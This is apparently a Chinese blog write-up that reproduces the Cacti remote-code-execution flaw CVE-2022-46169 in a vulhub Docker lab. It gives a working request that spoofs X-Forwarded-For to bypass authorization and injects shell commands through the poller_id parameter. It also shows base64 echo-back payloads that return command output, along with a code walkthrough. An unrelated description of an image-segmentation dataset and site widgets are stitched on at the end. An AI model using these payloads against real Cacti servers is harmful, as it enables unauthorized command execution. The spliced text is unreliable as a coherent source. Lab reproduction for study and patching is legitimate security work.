复现cacti的RCE

1.环境搭建

环境搭建

在 GitHub 上复制链接地址 vulhub

 git clone https://github.com/vulhub/vulhub

拉取完成之后,可以在/vulhub/cacti目录下查看

启动容器

在/vulhub/cacti文件夹内 CVE-2022-46169,输入命令:

 docker-compose up -d

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。

创建一个新图形,选device-uptime然后创建就行了,创建完之后就可以退出了

2.代码审计

完成上述初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

开始分析

在remote_agent.php中加载相关文件:

指令进入代码之后首先回进入下面这个if函数中

        当远程客户端未授权时将会显示“您无权使用此服务”并退出程序,绕过此if鉴权函数时将会进行get传参请求,由于get传递的参数用户可控,我们的命令需要在switch函数下poldatapoll_for_data();执行

        在poll_for_data();该函数中,同步执行三个有一定过滤的请求,因此get传参action三个参数

拿到payload

我们对其进行抓包,在浏览器地址栏输入/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success

我们需要添加X-Forwarded-For: 127.0.0.1获取get_client_addr();客户端

X-Forwarded-For:127.0.0.1

        在remote_agent.php文件中的 $client_addr = get_client_addr();下插入print_r($client_addr);获取客户端的值是否为127.0.0.1

        在$client_name = gethostbyaddr($client_addr);下插入print_r($client_name);打印出是否为hostname值并exit中断程序

        在functions.php文件中有关于 get_client_addr函数

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

        目前该函数中,client_addr为X-Forwarded-For走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr我们可以将其打印出来,这样更清晰的显示出来

        在burpsuite发送,可知hostname就是localhost。

$pollers里的hostname在数据库表中为localhost$client_name的值localhost相等因此会返回true,至此if鉴权函数已经绕过
只要有success,代码即执行成功

get传参

传递了三个参数:

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

第一行代码传数组[0]=6数组只有一个元素6
第二行代码传参1
第三行代码传命令执行如touch

打印查看返回值

Array
(
[0] => 6
)
1 touch /tmp/success

开始遍历

$items = db_fetch_assoc_prepared('SELECT *
	FROM poller_item
	WHERE host_id = ?
	AND local_data_id = ?',
	array($host_id, $local_data_id));

通过第一个if查询到数组为

       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-25 06:10:01
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
                arg2:
                arg3:

第二个遍历

$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
	FROM poller_item
	WHERE host_id = ?
	AND local_data_id = ?
	AND action = 2',
	array($host_id, $local_data_id));

将数组里的action取出,值为2
由于POLLER_ACTION_SCRIPT_PHP值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case中进行第一个if函数

if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

通过该代码的read_config_option('path_php_binary')取出php路径执行 /usr/local/bin/php -q script_server.php realtime touch /tmp/success

回显

对以下三个命令进行urlencode编码

echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
echo "test\r\n :`id | base64 -w0`"; 
echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

输入到burpsuite中,获得回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

再进行base64解码

uid=33(www-data) gid=33(www-data) groups=33(www-data)

一、基础信息 数据集名称:Bottle Fin实例分割数据集 图片数量: 训练集:4418张图片 验证集:1104张图片 总计:5522张图片 分类类别: - 类别0: 数字0 - 类别1: 数字1 - 类别2: 数字2 - 类别3: 数字3 - 类别4: 数字4 - 类别5: 数字5 - 类别6: Bottle Fin 标注格式:YOLO格式,包含多边形坐标,适用于实例分割任务。 数据格式:图片格式常见如JPEG或PNG,具体未指定。 二、适用场景 实例分割AI模型开发:数据集支持实例分割任务,帮助构建能够精确识别和分割图像中多个对象的AI模型,适用于对象检测和分割应用。 工业自动化与质量控制:可能应用于制造、物流或零售领域,用于自动化检测和分类物体,提升生产效率。 计算机视觉研究:支持实例分割算法的学术研究,促进目标检测和分割技术的创新。 教育与实践培训:可用于高校或培训机构的计算机视觉课程,作为实例分割任务的实践资源,帮助学生理解多类别分割。 三、数据集优势 多类别设计:包含7个不同类别,涵盖数字和Bottle Fin对象,增强模型对多样对象的识别和分割能力。 高质量标注:标注采用YOLO格式的多边形坐标,确保分割边界的精确性,提升模型训练效果。 数据规模适中:拥有超过5500张图片,提供充足的样本用于模型训练和验证,支持稳健的AI开发。 即插即用兼容性:标注格式直接兼容主流深度学习框架(如YOLO),便于快速集成到各种实例分割项目中。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值